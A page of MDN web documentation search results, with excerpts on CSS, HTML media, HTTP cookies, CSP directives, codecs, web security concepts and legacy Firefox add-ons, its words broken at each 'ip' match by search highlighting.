ipbackground-colorbackground-imagebackground-originbackground-positionbackground-repeatbackground-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-startborder-block-start-colorborder-block-start-styleborder-block-start-widthborder-block-stylebo...
...der-spacingborder-start-end-radiusborder-start-start-radiusborder-styleborder-topborder-top-colorborder-top-left-radiusborder-top-right-radiusborder-top-styleborder-top-widthborder-widthbottom@bottom-centerbox-decoration-breakbox-shadowbox-sizingbreak-afterbreak-beforebreak-insidebrightness()ccalc()caption-sidecaret-colorch@character-variantcharacter-variant()@charset:checkedcircle()clamp()clearcl
ipcl
ip-pathcm<color>colorcolor-adjustcolumn-countcolumn-fillcolumn-gapcolumn-rulecolumn-rule-colorcolumn-rule-stylecolumn-rule-widthcolumn-spancolumn-widthcolumnsconic-gradient()containcontentcontrast()<counter>counter-incrementcounter-resetcounter-set@counter-stylecounters()cross-fade()cubic-bezier()::cue::cue-regioncursor<custom-ident>d:defaultdeg<dimension>:dirdirection:disableddisplay<display-bo...
...And 6 more matches
<color> - CSS: Cascading Style Sheets
mistyrose #ffe4e1 moccasin #ffe4b5 navajowhite #ffdead oldlace #fdf5e6 olivedrab #6b8e23 orangered #ff4500 orchid #da70d6 palegoldenrod #eee8aa palegreen #98fb98 paleturquoise #afeeee palevioletred #db7093 papayawh
ip #ffefd5 peachpuff #ffdab9 peru #cd853f pink #ffc0cb plum #dda0dd powderblue #b0e0e6 rosybrown #bc8f8f royalblue #4169e1 saddlebrown #8b4513 salmon #fa8072 sandybrown #f4a460 seagreen #2e8b57 seashell #fff...
...e #663399 transparent keyword the transparent keyword represents a fully transparent color. this makes the background behind the colored item completely visible. technically, transparent is a shortcut for rgba(0,0,0,0). compatibility note: to prevent unexpected behavior, such as in a <gradient>, the current css spec states that transparent should be calculated in the alpha-premult
iplied color space. however, be aware that older browsers may treat it as black with an alpha value of 0. historical note: transparent wasn't a true color in css level 2 (revision 1). it was a special keyword that could be used instead of a regular <color> value on two css properties: background and border. it was essentially added to allow developers to override an inherited solid color. with th...
...sl colors the hsl color model defines a given color according to its hue, saturation, and lightness components. an optional alpha component represents the color's transparency. many designers find hsl more intuitive than rgb, since it allows hue, saturation, and lightness to each be adjusted independently. hsl can also make it easier to create a set of matching colors (such as when you want mult
iple shades of a single hue). syntax hsl colors are expressed through the functional hsl() and hsla() notations. note: as of css colors level 4, hsla() is an alias for hsl(). in browsers that implement the level 4 standard, they accept the same parameters and behave the same way. functional notation: hsl[a](h, s, l[, a]) h (hue) is an <angle> of the color circle given in degs, rads, grads, ...
...And 6 more matches
filter - CSS: Cascading Style Sheets
tive-examples and send us a pull request. ...
...values of an amount over 100% are allowed, providing brighter results. the lacuna value for interpolation is 1. filter: brightness(2) <svg style="position: absolute; top: -99999px...
...values of an amount over 100% are allowed, providing brighter results. the lacuna value for interpolation is 1. ...
...And 6 more matches
repeating-radial-gradient() - CSS: Cascading Style Sheets
function's result is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. with each repetition, the positions of the color stops are shifted by a mult
iple of the dimensions of the basic radial gradient (the distance between the last color stop and the first). thus, the position of each ending color stop coincides with a starting color stop; if the color values are different, this will result in a sharp visual transition, which can be mitigated by repeating the first color as the last color. as with any gradient, a repeating radial gradient has n...
... be used where <image>s can be used. for this reason, repeating-radial-gradient() won't work on background-color and other properties that use the <color> data type. ...
...nd the top left corner */ repeating-radial-gradient(farthest-corner at 20% 20%, red 0, green, red 20%); values <position> the position of the gradient, interpreted in the same way as background-position or transform-origin. if unspecified, it defaults to center. <shape> the gradient's shape. ...
...And 6 more matches
Cross-browser audio basics - Developer guides
ting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3. mp4 files typically contain aac encoded audio. you can use type="audio/mp4". (currently, browsers that support mp3 also support mp4 audio). here we define an <audio> element with mult
iple sources -- we do this as not all browsers support the same audio formats. to ensure reasonable coverage, we should specify at least two different formats. the two formats that will give maximum coverage are mp3 and ogg vorbis. we do this using the <source> element, which takes the attributes src and type. src contains the path to the audio file to be loaded (relative or absolute). typ...
...note: this value is often ignored on mobile platforms, and its use is not recommended unless really necessary. auto-playing audio (and video) is usually really annoying. plus browsers have policies that will block autoplay entirely in many situations. see the autoplay guide for media and web audio apis for details. loop the loop attribute will ensure that upon getting to the end of the audio cl
ip, the audio cl
ip will loop back to the beginning and start playing again. <audio loop> ... </audio> muted if you want the audio to start muted (no volume), add the muted attribute. <audio muted> ... </audio> note: this value is often ignored on mobile platforms. preload the preload attribute allows you to specify a preference for how the browser preloads the audio, in other words, whi...
...param name="flashvars" value="controls=true&isvideo=false&file=audiofile.mp3" /> </object> </audio> note: you should be aware that flash and silverlight code require that the user has the appropriate plugin installed, and that the browser cannot guarantee the security aspects of code running on those plugin platforms. these are also deprecated, and soon won't work in any modern browsers. man
ipulating the audio element with javascr
ipt in addition to being able to specify various attributes in html, the <audio> element comes complete with several properties and methods that you can man
ipulate via javascr
ipt. given the following html: <audio id="my-audio" src="audiofile.mp3"> ... </audio> you can grab the <audio> element like this: var myaudio = document.getelementbyid('my-audio'...
...And 6 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle. events and event handling provide a core technique in javascr
ipt for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and...
...the event driven browser. the latter approach changes the last steps from a single flow into a perpetual loop, where waiting for and handling the incidence of new events follows painting. the innovation of the dynamic approach allows for a page to be partially rendered even when the browser has not finished retrieving all resources; this approach also allows for event driven actions, which javascr
ipt leverages. (the talk is available from several sources, including this one.) currently, all execution environments for javascr
ipt code use events and event handling. the event design pattern the event system, at its core, is simply a programming design pattern. the pattern starts with an agreement over a kind of event and: the name string used for the event, the type of the data structure ...
...this one.) currently, all execution environments for javascr
ipt code use events and event handling. the event design pattern the event system, at its core, is simply a programming design pattern. the pattern starts with an agreement over a kind of event and: the name string used for the event, the type of the data structure used to represent the key properties of that event, and the javascr
ipt object which will 'emit' that event. the pattern is implemented by defining a javascr
ipt function which takes as an argument the data structure which was agreed upon, and registering the function using the name string with the object which will emit the event. the function is said to be a 'listener' or a 'handler' with both names used interchangeably. this pattern can easily be followed ...
...And 6 more matches
Content categories - Developer guides
it's also possible for elements to not be a member of any of these categories. ...
...hat, you may wish to read the relevant portions of the html specification. main content categories metadata content elements belonging to the metadata content category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other out of band information. elements belonging to this category are <base>, <command>, <link>, <meta>, <noscr
ipt>, <scr
ipt>, <style> and <title>. flow content elements belonging to the flow content category typically contain text or embedded content. they are: <a>, <abbr>, <address>, <article>, <aside>, <audio>, <b>,<bdo>, <bdi>, <blockquote>, <br>, <button>, <canvas>, <cite>, <code>, <command>, <data>, <datalist>, <del>, <details>, <dfn>, <div>, <dl>, <em>, <embed>, <fieldset>, <figure>, <footer>, <for...
... a few other elements belong to this category, but only if a specific condition is fulfilled: <area>, if it is a descendant of a <map> element <lin...
...And 6 more matches
<input type="url"> - HTML: Hypertext Markup Language
url address exists, but it is at least formatted correctly. in simple terms, this means urlscheme://restofurl. see validation for details on how urls are validated to ensure that they're formatted properly. ...
... input will fail constraint validation if the length of the text entered into the field is fewer than minlength utf-16 code units long. constraint validation is only applied when the value is changed by the user. pattern the pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. it must be a valid javascr
ipt regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular express...
...umented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. t
ip: use the title attribute to specify text that most browsers will display as a toolt
ip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. see the section pattern validation for details and an example. placeholder the placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected ...
...And 6 more matches
Link types - HTML: Hypertext Markup Language
if the type is set to application/rss+xml or application/atom+xml, the link defines a syndication feed. the first one defined on the page is the default. ...
... if the type is set to application/rss+xml or application/atom+xml, the link defines a syndication feed. the first one defined on the page is the default. ...
...e of made is incorrect and should be replaced by the rel attribute with this link type. <a>, <area>, <link> <form> bookmark indicates that the hyperlink is a permalink for the nearest ancestor <article> element. if none, it is a permalink for the section that the element is most closely associated to. ...
...And 6 more matches
Connection management in HTTP/1.x - HTTP
http mostly relies on tcp for its transport protocol, providing a connection between the client and the server. in its infancy, http used a single model to handle such connections. ...
...atency and bandwidth affect performance when a request needs sending. modern web pages require many requests (a dozen or more) to serve the amount of information needed, proving this earlier model inefficient. two newer models were created in http/1.1. the persistent-connection model keeps connections opened between successive requests, reducing the time needed to open new connections. the http p
ipelining model goes one step further, by sending several successive requests without even waiting for an answer, reducing much of the latency in the network. http/2 adds additional models for connection management. it's important point to note that connection management in http applies to the connection between two consecutive nodes, which is hop-by-hop and not end-to-end. the model used in c...
...h are closed as soon as they are idle, can provide better performance. http/1.0 connections are not persistent by default. setting connection to anything other than close, usually retry-after, will make them persistent. in http/1.1, persistence is the default, and the header is no longer needed (but it is often added as a defensive measure against cases requiring a fallback to http/1.0). ...
...And 6 more matches
Using HTTP cookies - HTTP
r. if your site authenticates users, it should regenerate and resend session cookies, even ones that already exist, whenever the user authenticates. this technique helps prevent session fixation attacks, where a third party can reuse a user's session. restrict access to cookies there are a couple of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scr
ipts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never with unsecured http, and therefore can't easily be accessed by a man-in-the-middle attacker. insecure sites (with http: in the url) can't set cookies with the secure attribute. however, do not assume that secure prevents all ac...
...http, and therefore can't easily be accessed by a man-in-the-middle attacker. insecure sites (with http: in the url) can't set cookies with the secure attribute. however, do not assume that secure prevents all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk. a cookie with the httponly attribute is inaccessible to the javascr
ipt document.cookie api; it is sent only to the server. for example, cookies that persist server-side sessions don't need to be available to javascr
ipt, and should have the httponly attribute. this precaution helps mitigate cross-site scr
ipting (xss) attacks. here is an example: set-cookie: id=a3fwa; expires=wed, 21 oct 2021 07:28:00 gmt; secure; httponly define where cookies are sent the domain...
... either be confined to the subdomain or be ignored completely. as the application server checks for a specific cookie name only when determining if the user is authenticated or a csrf token is correct, this effectively acts as a defence measure against session fixation. ...
...And 6 more matches
Content-Disposition - HTTP
in a regular http response, the content-disposition response header is a header indicating if the content is expected to be displayed inline in the browser, that is, as a web page or as part of a web page, or as an attachment, that is downloaded and saved locally. in a mult
ipart/form-data body, the http content-disposition general header is a header that can be used on the subpart of a mult
ipart body to give information about the field it applies to. the subpart is delimited by the boundary defined in the content-type header. used on the body itself, content-disposition has no effect. the content-disposition header is defined in the larger context of mime messages for e-mail, but only a subset of the possible parameters apply to http forms and post requests. only the value form-data, as w...
...fect. the content-disposition header is defined in the larger context of mime messages for e-mail, but only a subset of the possible parameters apply to http forms and post requests. only the value form-data, as well as the optional directive name and filename, can be used in the http context. ...
...er inline (default value, indicating it can be displayed inside the web page, or as the web page) or attachment (indicating it should be downloaded; most browsers presenting a 'save as' dialog, prefilled with the value of the filename parameters if present). content-disposition: inline content-disposition: attachment content-disposition: attachment; filename="filename.jpg" as a header for a mult
ipart body the first parameter in the http context is always form-data. additional parameters are case-insensitive and have arguments that use quoted-string syntax after the '=' sign. mult
iple parameters are separated by a semi-colon (';'). content-disposition: form-data content-disposition: form-data; name="fieldname" content-disposition: form-data; name="fieldname"; filename="filename.jpg" dire...
...And 6 more matches
CSP: child-src - HTTP
rective default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the child-src policy: content-security-policy: child-src <source>; content-security-policy: child-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...xclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<bas...
...And 6 more matches
CSP: connect-src - HTTP
the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and navigator.sendbeacon(). note: connect-src 'self' does not resolve to websocket schemas in all browsers, more info: https://github.com/w3c/webappsec-csp/issues/7 csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. ...
...e default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the connect-src policy: content-security-policy: connect-src <source>; content-security-policy: connect-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...And 6 more matches
CSP: form-action - HTTP
ion 2 directive type navigation directive default-src fallback no. not setting this allows anything. syntax one or more sources can be set for the form-action policy: content-security-policy: form-action <source>; content-security-policy: form-action <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 6 more matches
Codecs used by WebRTC - Web media technologies
e supported for each codec, as well as specific user comfort features such as echo cancelation. this guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc. while compression is always a necessity when dealing with media on the web, it's of additional importance when videoconferencing in order to ensure that the partic
ipants are able to communicate without lag or interruptions. of secondary importance is the need to keep the video and audio synchronized, so that the movements and any ancillary information (such as slides or a projection) are presented at the same time as the audio that corresponds. general codec requirements before looking at codec-specific capabilities and requirements, there are a few overall...
...lay applications such as mobile video and videoconferencing, as well as for platforms with lower performing video processing capabilities. our overview of avc and its features can be found in the main video codec guide. special parameter support requirements avc offers a wide array of parameters for controlling optional values. in order to improve reliability of webrtc media sharing across mult
iple platforms and browsers, it's required that webrtc endpoints that support avc handle certain parameters in specific ways. sometimes this simply means a parameter must (or must not) be supported. sometimes it means requiring a specific value for a parameter, or that a specific set of values be allowed. and sometimes the requirements are more intricate. parameters which are useful but not require...
...hough not required. unless signaled otherwise, the pixel aspect ratio is 1:1, indicating that pixels are square. other notes the payload format used for avc in webrtc is described in rfc 6184: rtp payload format for h.264 video. avc implementations for webrtc are required to support the special "filler payload" and "full frame freeze" sei messages; these are used to support switching among mult
iple input streams seamlessly. supported audio codecs the audio codecs which rfc 7874 mandates that all webrtc-compatible browsers must support are shown in the table below. mandatory audio codecs codec name browser compatibility opus chrome, edge, firefox, safari g.711 pcm (a-law) chrome, firefox, safari g.711 pcm (u-law) chrome, firefox, safa...
...And 6 more matches
The "codecs" parameter in common media types - Web media technologies
ls, and other configuration factors. for this reason, you can add the codecs parameter to the media type. to do so, append a semicolon (;) followed by codecs= and then the string describing the format of the contents of the file. some media types only let you specify the names of the codecs to use, while others allow you to specify various constraints on those codecs as well. you can specify mult
iple codecs by separating them with commas. audio/ogg; codecs=vorbis an ogg file containing a vorbis audio track. video/webm; codecs="vp8, vorbis" a webm file containing vp8 video and/or vorbis audio. video/mp4; codecs="avc1.4d002a" an mpeg-4 file containing avc (h.264) video, main profile, level 4.2. as is the case with any mime type parameter, codecs must be changed to codecs* (note the ...
...mp4; codecs="avc1.4d002a" an mpeg-4 file containing avc (h.264) video, main profile, level 4.2. as is the case with any mime type parameter, codecs must be changed to codecs* (note the asterisk character, *) if any of the properties of the codec use special characters which must be percent-encoded per rfc 2231, section 4: mime parameter value and encoded word extensions. you can use the javascr
ipt encodeuri() function to encode the parameter list; similarly, you can use decodeuri() to decode a previously encoded parameter list. when the codecs parameter is used, the specified list of codecs must include every codec used for the contents of the file. the list may also contain codecs not present in the file.= codec options by container the containers below support extended codec option...
...string's components are described in more detail in the table below. each component is a fixed number of characters long; if the value is less than that length, it must be padded with leading zeros. av1 codec parameter string components component details p the one-digit profile number: av1 profile numbers profile number descr
iption 0 "main" profile; supports yuv 4:2:0 or monochrome bitstreams with bit depth of 8 or 10 bits per component. 1 "high" profile adds support for 4:4:4 chroma subsampling. 2 "professional" profile adds support for 4:2:2 chroma subsampling and 12 bit per component color. l...
...And 6 more matches
Web media technologies
ts the various apis with links to documentation you may find helpful in mastering them. references html these articles cover html features for media developers. <audio> the <audio> element is used to play audio in a web context. these can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. ...
...rolled playback of audio files. accessible from javascr
ipt as htmlaudioelement objects. <video> the <video> element is an endpoint for video content in a web context. it can be used to simply present video files, or as a destination for streamed video content. <video> can also be used as a way to link media apis with other html and dom technologies, including <canvas> (for frame grabbing and man
ipulation), for example. accessible from javascr
ipt as htmlvideoelement objects. <track> the html <track> element can be placed within an <audio> or <video> element to provide a reference to a webvtt format subtitle or caption track to be used when playing the media. accessible from javascr
ipt as htmltrackelement objects. <source> the html <source> element is used within an <audio> or <video> el...
... apis media capabilities api the media capabilities api lets you determine the encoding and decoding capabilities of the device your app or site is running on. this lets you make real-time decisions about what formats to use and when. ...
...And 6 more matches
PWA developer guide - Progressive web apps (PWAs)
on of progressive web applications (pwas). for all other documentation about web development, which generally pertains to pwas as well, see our primary web development documentation. --->>> titles below are just for the list; give articles good seo names and feel free to tweak those and this as needed... ...
...cumentation. --->>> titles below are just for the list; give articles good seo names and feel free to tweak those and this as needed... <<<--- web app basics introduction and getting started with pwa development some descr
iption installing and uninstalling web apps an introductory guide to how a web app can be installed on the user's device... ...
...ist; give articles good seo names and feel free to tweak those and this as needed... <<<--- web app basics introduction and getting started with pwa development some descr
iption installing and uninstalling web apps an introductory guide to how a web app can be installed on the user's device... ...
...And 6 more matches
Progressive loading - Progressive web apps (PWAs)
e bigger the chance they will leave before waiting for everything to finish. we should be able to show them at least the basic view of the page they want to see, with placeholders in the places more content will eventually be loaded. this could be achieved by progressive loading -- also known as lazy loading. this is all about deferring loading of as many resources as possible (html, css, javascr
ipt), and only loading those immediately that are really needed for the very first experience. bundling versus splitting many visitors won't go through every single page of a website, yet the usual approach is to bundle every feature we have into one big file. a bundle.js file can be many megabytes, and a single style.css bundle can contain everything from basic css structure definitions to all th...
...y version of the site: mobile, tablet, desktop, print only, etc. it is faster to load all that information as one file rather than many small ones, but if the user doesn't need everything at the very beginning, we could load only what's crucial and then manage other resources when needed. ...
... manage other resources when needed. render-blocking resources bundling is a problem, because the browser has to load the html, css, and javascr
ipt before it can paint their rendered results onto the screen. during the few seconds between initial website access and completion of loading, the user sees a blank page, which is a bad experience. to fix that we can, for example, add defer to javascr
ipt files: <scr
ipt src="app.js" defer></scr
ipt> they will be downloaded and executed after the document itself has been parsed, so it won't block rendering the html structure. we can also split css files and add media types to them: <link rel="stylesheet" href="style.css"> <link rel="stylesheet" href="print.css" media="print"> this will tell the browser to load them only when the condition is ...
...And 6 more matches
Example - SVG: Scalable Vector Graphics
this example should work in firefox 1.5 and above. ...
...this example should work in firefox 1.5 and above. ...
...this example should work in firefox 1.5 and above. ...
...And 6 more matches
Types of attacks - Web security
ce of tricking a user into clicking on a link, button, etc. that is other than what the user thinks it is. this can be used, for example, to steal login credentials or to get the user's unwitting permission to install a piece of malware. (click-jacking is sometimes called "user interface redressing", though this is a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scr
ipting (xss) cross-site scr
ipting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web ap...
...o a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious scr
ipt is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious scr
ipt rewrite the html content. cross-site scr
ipting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic content is sent to a web user without being validated for malicious content. the...
...s to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious scr
ipt rewrite the html content. cross-site scr
ipting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic content is sent to a web user without being validated for malicious content. the malicious content often includes javascr
ipt, but sometimes html, flash, or any other code the browser can execute. the variety of attacks based on xss is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerabl...
...And 6 more matches
/loader - Archive of obsolete content
create commonjs module loaders. usage the code is intentionally authored so that it can be loaded in several ways. it can be loaded as a regular scr
ipt tag in documents that have system princ
ipals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <scr
ipt type='application/javascr
ipt' src='resource://gre/modules/commonjs/toolkit/loader.js'></scr
ipt> this will expose a single loader object containing all of the api functions described in this document. ...
...r scr
ipt tag in documents that have system princ
ipals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <scr
ipt type='application/javascr
ipt' src='resource://gre/modules/commonjs/toolkit/loader.js'></scr
ipt> this will expose a single loader object containing all of the api functions described in this document. ...
...this alternative approach of providing capabilities via modules makes it possible to build module capability graphs by analyzing require statements. these graphs can be used to reason about modules without diving into implementation details. @loader/options this pseudo module exposes all the options that were used to configure this loader. it enables you to creat...
...And 5 more matches
content/worker - Archive of obsolete content
used in the internal implementation of sdk modules which use content scr
ipts to interact with web content. it exports the worker trait, which enables content scr
ipts and the add-on code to exchange messages using the port or postmessage apis. the worker is similar to the web worker interface defined by the w3c. but unlike "web workers," these workers run in the same process as web content and browser chrome, so code within workers can block the ui. globals constructors worker(options) creates a content worker. parameters options : object required options: name type window object the content window to create javascr
ipt sandbox for communication with. ...
...tent and browser chrome, so code within workers can block the ui. globals constructors worker(options) creates a content worker. parameters options : object required options: name type window object the content window to create javascr
ipt sandbox for communication with. optional options: name type contentscr
iptfile string,array the local file urls of content scr
ipts to load. content scr
ipts specified by this option are loaded before those specified by the contentscr
ipt option. optional. contentscr
ipt string,array the texts of content scr
ipts to load. content scr
ipts specified by this option are loaded after those specified by the contentscr
iptfile option. optional. ...
... will registered as a listener to an 'error' events. worker worker is composed from the eventemitter trait, therefore instances of worker and their descendants expose all the public properties exposed by eventemitter along with additional public properties that are listed below. methods postmessage(data) asynchronously emits "message" events in the enclosed worker, where content scr
ipt was loaded. parameters data : number,string,json the data to send. must be stringifiable to json. destroy() destroy the worker by removing the content scr
ipt from the page and removing all registered listeners. a detach event is fired just before removal. properties port object that allows you to: send customized messages to the worker using the port.emit function receive events from...
...And 5 more matches
remote/parent - Archive of obsolete content
enables you to load modules, and privileged parts of your add-on in general, into child processes. usage in mult
iprocess firefox: the browser ui runs in one process, sometimes called the chrome process or the parent process web content runs in one or more other processes, sometimes called content processes or remote processes or child processes. by default, add-ons run in the chrome process and can't directly access web content. in the sdk, content scr
ipts run in the child process, and, of course, can access web content. but content scr
ipts don't have many more capabilities than untrusted web content. the sdk/remote/parent module enables you to load sdk modules into the child process to give them direct access to content frames. these sdk modules have higher privileges than conte...
... can't directly access web content. in the sdk, content scr
ipts run in the child process, and, of course, can access web content. but content scr
ipts don't have many more capabilities than untrusted web content. the sdk/remote/parent module enables you to load sdk modules into the child process to give them direct access to content frames. these sdk modules have higher privileges than content scr
ipts, and have their own module loader so they can load other sdk modules. its primary purpose is to help build apis. if you just need to access a web page, use sdk/page-mod to load a content scr
ipt instead. terms process every application has at least one process running, the main process that displays the ui. ...
...each process can contain many frames. frame every dom page loaded as a part of the application is loaded in a content frame. ...
...And 5 more matches
package.json - Archive of obsolete content
others, such as lib, permissions, and preferences, represent instructions to the jpm tool itself to generate and include particular code and data structures in your add-on. ...
... others, such as lib, permissions, and preferences, represent instructions to the jpm tool itself to generate and include particular code and data structures in your add-on. ...
...ctions to the jpm tool itself to generate and include particular code and data structures in your add-on. creating a manifest the package.json file is initially generated in your add-on's root directory the first time you run jpm init. ...
...And 5 more matches
Bootstrapped extensions - Archive of obsolete content
ively easy, it means that updating, installing, or disabling an extension requires an application restart. gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduces bootstrapped extensions. these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application. this is done using a special scr
ipt file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall, start up, and shut down. all the application does is call into this scr
ipt file; the extension is responsible for adding and removing its user interface and handling any other setup and shutdown tasks it requires. this article discusses how bootstrapped extensions wor...
...trappedmanifestlocation(). this feature was unavailable in firefox versions before 8. adding user interface manually if you decide to go ahead and try to develop a bootstrapped extension that modifies the application's user interface, here are a few suggestions to get you started. you need to look up the relevant application ui elements by their id by calling document.getelementbyid(), then man
ipulate them to inject your ui. for example, you can get access to the menu bar in firefox with document.getelementbyid("main-menubar"). be sure that at shutdown time, you remove any user interface you've added. creating a bootstrapped extension to mark an extension as bootstrappable, you need to add the following element to its install manifest: <em:bootstrap>true</em:bootstrap> then you need ...
... backward compatibility because older versions of firefox don't know about the bootstrap property or bootstrap.js file, it's not overly difficult to create an xpi that will work on both as a bootstrappable extension and as a traditional extension. create your extension as a bootstrappable extension, then add the traditional overlays as well. newer versions of firefox will use the bootstrap.js scr
ipt, ignoring the components and overlays, while older versions will use the overlays. bootstrap entry points the bootstrap.js scr
ipt should contain several specific functions, which are called by the browser to manage the extension. the scr
ipt gets executed in a privileged sandbox, which is cached until the extension is shut down. startup called when the extension needs to start itself up. this...
...And 5 more matches
Adding Events and Commands - Archive of obsolete content
the most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here. window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need. please read appendix a for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox. ...
...rmation on the event. you can get information on key modifiers (in case the user was holding a modifier key like alt while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. for example: <button label="&xulschoolhello.defaultgreeting.label;" oncommand="xulschoolchrome.browseroverlay.changegreeting(event);" /> then on the javascr
ipt code you would have something like this: changegreeting : function(aevent) { // more stuff aevent.target.setattribute("label", somenewgreeting); } the target in this example is the button element, so clicking on it will change its text. the advantage of using the event argument is that the method is not dependent of the specific button, so it can also be used for other elements. for more...
